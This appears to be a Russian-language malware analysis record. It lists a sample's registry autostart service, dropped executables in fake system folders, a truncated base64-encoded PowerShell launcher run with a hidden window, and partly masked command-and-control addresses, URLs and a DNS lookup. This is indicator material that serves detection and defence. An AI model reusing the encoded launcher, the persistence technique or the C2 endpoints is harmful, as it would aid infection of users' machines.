Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\WABSyncProvider] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\WABSyncProvider] 'ImagePath' = '"%WINDIR%\SysWOW64\regedit\WABSyncProvider.exe"'
- 'WABSyncProvider' "%WINDIR%\SysWOW64\regedit\WABSyncProvider.exe"
- 'WABSyncProvider' %WINDIR%\SysWOW64\regedit\WABSyncProvider.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADIAaABsAG0AZQBtAD0AKAAnAEkAdwB6AGEAeAAnACsAJwB6ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBwAFwATwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...
- %TEMP%\office2019\kst21p7ps.exe
- %WINDIR%\syswow64\regedit\wabsyncprovider.exe
- %TEMP%\office2019\kst21p7ps.exe в %WINDIR%\syswow64\regedit\wabsyncprovider.exe
- '65.#6.62.20':80
- '20#.#26.6.222':8080
- '5.###.250.14':8080
- http://je####reiberg.de/cgi-bin/F/
- http://5.###.250.14:8080/I31F9oHm/8daOEWs4fKkIal36EuF/9aNi1DfVQGOG79u2j/UNdsDKfp34rW6OL2z/hd2GcgW/ via 5.###.250.14
- DNS ASK je####reiberg.de
- '%TEMP%\office2019\kst21p7ps.exe'
- '%WINDIR%\syswow64\regedit\wabsyncprovider.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADIAaABsAG0AZQBtAD0AKAAnAEkAdwB6AGEAeAAnACsAJwB6ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBwAFwATwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...' (со скрытым окном)